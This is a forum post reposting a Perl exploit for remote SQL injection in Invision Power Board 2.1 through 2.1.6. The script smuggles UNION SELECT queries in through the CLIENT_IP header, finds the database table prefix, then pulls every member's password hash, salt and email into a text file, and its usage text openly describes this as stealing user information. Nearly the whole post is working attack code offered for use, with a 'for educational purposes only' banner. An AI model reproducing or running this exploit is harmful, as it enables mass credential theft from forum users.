Jump to content
Proxenon

Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Ex

Recommended Posts

Rated as : Moderated Risk

#!/usr/bin/perl

use LWP::UserAgent;

$ua = LWP::UserAgent->new;

&header();

if (@ARGV < 2) {&info(); exit();}

$server = $ARGV[0];

$dir = $ARGV[1];

print "[+] SERVER {$server}\r\n";

print "[+] DIR {$dir}\r\n";

#Step 1, detecting vulnerability

print "[1] Testing forum vulnerability...";

$q = "UNION SELECT 'VULN',1,1,1/*";

query($q,$server,$dir);

if($rep =~/VULN/){ print "forum vulnerable\r\n"; }

else

{

print "forum unvulnerable\r\n";

&footer();

exit();

}

#Step 2, detecting prefix

print "[2] Searching prefix...";

$q = "";

query($q,$server,$dir);

$prefix = $rep;

print $prefix."\r\n";

#Step 3, make query

print "[3] Performing query; it may take several minutes, plz,

wait...\r\n";

$q1 = "UNION SELECT MAX(converge_id),1,1,1 FROM

".$prefix."members_converge/*";

query($q1,$server,$dir);

$kol = $rep;

open(RES,">".$server."_result.txt");

for($id = 1; $id <= $kol; $id++)

{

$own_query = "UNION SELECT converge_pass_hash,1,1,1 FROM

".$prefix."members_converge WHERE

converge_id=".$id."/*";

query($own_query,$server,$dir);

if($rep=~/[0-9a-f]{32}/i)

{

$hash = $rep;

$own_query = "UNION SELECT converge_pass_salt,1,1,1 FROM

".$prefix."members_converge WHERE

converge_id=".$id."/*";

query($own_query,$server,$dir);

if(length($rep)==5)

{

$salt = $rep;

$own_query = "UNION SELECT converge_email,1,1,1 FROM

".$prefix."members_converge WHERE

converge_id=".$id."/*";

query($own_query,$server,$dir);

if(length($rep)>0)

{

$email = $rep;

print RES

$id.":".$hash.":".$salt."::".$email."\n";

}

}

}

}

close(RES);

print "[!] Query was successfully perfomed. Results are in txt

files\r\n";

&footer();

$ex = <STDIN>;

sub footer()

{

print "[G] Greets: 1dt.w0lf (rst/ghc)\r\n";

print "[L] Visit: secbun.info | damagelab.org |

rst.void.ru\r\n";

}

sub header()

{

print q(

----------------------------------------------------------

* Invision Power Board 2.1.* Remote SQL Injecton Exploit *

* Based on r57-Advisory#41 by 1dt.w0lf (rst/ghc) *

* Coded by w4g.not null *

* FOR EDUCATIONAL PURPOSES *ONLY* *

----------------------------------------------------------

);

}

sub info()

{

print q(

Usage: perl w4gipb216.pl [server] [/dir/]

where

|- server - server, where IPB installed without http://

|- /dir/ - dir, where IPB installed or / for no dir

e.g perl w4gipb216.pl someserver.com /forum/

Stealing info about users (format id:pass:salt::email)

[!] Need MySQL > 4.0

);

}

sub query()

{

my($q,$server,$dir) = @_;

$res =

$ua->get("http://".$server.$dir."index.php?s=w00t",'USER_AGENT'=>'','CLIENT_IP'=>"'

".$q);

if($res->is_success)

{

$rep = '';

if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/)

{ $rep = $3; }

else

{

if($res->as_string =~ /FROM (.*)sessions/) { $rep = $1; }

}

}

return $rep;

}

securitydot.net - 2006-07-19

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...